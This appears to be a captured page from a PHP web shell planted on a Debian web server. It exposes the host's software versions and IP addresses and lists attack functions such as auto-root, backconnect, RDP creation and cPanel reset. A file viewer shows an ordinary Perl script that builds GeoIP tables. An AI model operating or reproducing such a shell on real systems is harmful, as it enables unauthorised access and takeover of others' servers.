Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.148.108.174
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
lib /
dkms /
xtables-addons /
2.12 /
build /
geoip /
[ HOME SHELL ]
Name
Size
Permission
Action
Makefile
17.44
KB
-rw-r--r--
Makefile.am
112
B
-rw-r--r--
Makefile.in
16.69
KB
-rw-r--r--
xt_geoip_build
2.86
KB
-rwxr-xr-x
xt_geoip_build.1
1.27
KB
-rw-r--r--
xt_geoip_dl
287
B
-rwxr-xr-x
xt_geoip_dl.1
582
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : xt_geoip_build
#!/usr/bin/perl # # Converter for MaxMind CSV database to binary, for xt_geoip # Copyright © Jan Engelhardt, 2008-2011 # use Getopt::Long; use IO::Handle; use Text::CSV_XS; # or trade for Text::CSV use strict; my $csv = Text::CSV_XS->new({ allow_whitespace => 1, binary => 1, eol => $/, }); # or Text::CSV my $target_dir = "."; &Getopt::Long::Configure(qw(bundling)); &GetOptions( "D=s" => \$target_dir, ); if (!-d $target_dir) { print STDERR "Target directory $target_dir does not exist.\n"; exit 1; } foreach (qw(LE BE)) { my $dir = "$target_dir/$_"; if (!-e $dir && !mkdir($dir)) { print STDERR "Could not mkdir $dir: $!\n"; exit 1; } } &dump(&collect()); sub collect { my %country; while (my $row = $csv->getline(*ARGV)) { if (!defined($country{$row->[4]})) { $country{$row->[4]} = { name => $row->[5], pool_v4 => [], pool_v6 => [], }; } my $c = $country{$row->[4]}; if ($row->[0] =~ /:/) { push(@{$c->{pool_v6}}, [&ip6_pack($row->[0]), &ip6_pack($row->[1])]); } else { push(@{$c->{pool_v4}}, [$row->[2], $row->[3]]); } if ($. % 4096 == 0) { print STDERR "\r\e[2K$. entries"; } } print STDERR "\r\e[2K$. entries total\n"; return \%country; } sub dump { my $country = shift @_; foreach my $iso_code (sort keys %$country) { &dump_one($iso_code, $country->{$iso_code}); } } sub dump_one { my($iso_code, $country) = @_; my($file, $fh_le, $fh_be); printf "%5u IPv6 ranges for %s %s\n", scalar(@{$country->{pool_v6}}), $iso_code, $country->{name}; $file = "$target_dir/LE/".uc($iso_code).".iv6"; if (!open($fh_le, "> $file")) { print STDERR "Error opening $file: $!\n"; exit 1; } $file = "$target_dir/BE/".uc($iso_code).".iv6"; if (!open($fh_be, "> $file")) { print STDERR "Error opening $file: $!\n"; exit 1; } foreach my $range (@{$country->{pool_v6}}) { print $fh_be $range->[0], $range->[1]; print $fh_le &ip6_swap($range->[0]), &ip6_swap($range->[1]); } close $fh_le; close $fh_be; printf "%5u IPv4 ranges for %s %s\n", scalar(@{$country->{pool_v4}}), $iso_code, $country->{name}; $file = "$target_dir/LE/".uc($iso_code).".iv4"; if (!open($fh_le, "> $file")) { print STDERR "Error opening $file: $!\n"; exit 1; } $file = "$target_dir/BE/".uc($iso_code).".iv4"; if (!open($fh_be, "> $file")) { print STDERR "Error opening $file: $!\n"; exit 1; } foreach my $range (@{$country->{pool_v4}}) { print $fh_le pack("VV", $range->[0], $range->[1]); print $fh_be pack("NN", $range->[0], $range->[1]); } close $fh_le; close $fh_be; } sub ip6_pack { my $addr = shift @_; $addr =~ s{::}{:!:}; my @addr = split(/:/, $addr); my @e = (0) x 8; foreach (@addr) { if ($_ eq "!") { $_ = join(':', @e[0..(8-scalar(@addr))]); } } @addr = split(/:/, join(':', @addr)); $_ = hex($_) foreach @addr; return pack("n*", @addr); } sub ip6_swap { return pack("V*", unpack("N*", shift @_)); }
Close